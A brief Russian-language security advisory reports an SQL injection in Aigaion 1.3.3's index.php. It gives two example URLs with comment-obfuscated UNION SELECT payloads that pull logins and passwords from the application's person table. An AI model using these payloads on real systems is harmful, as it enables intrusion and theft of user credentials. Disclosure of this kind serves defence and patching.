Программа: Aigaion 1.3.3
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «page» сценарием index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Пример:
http://www.website.com/index.php?page=topic&topic_id=9999/* */UNION/**/SELECT/**/ALL/**/null,null, CONCAT(login,CHAR(58),password),null/**/FROM/**/person/* */WHERE/**/ID=1--
http://www.website.com/index.php? page=topic&topic_id=9999/**/UNION/**/SELECT/* */ALL/**/null,null,password,null/**/FROM/**/person--
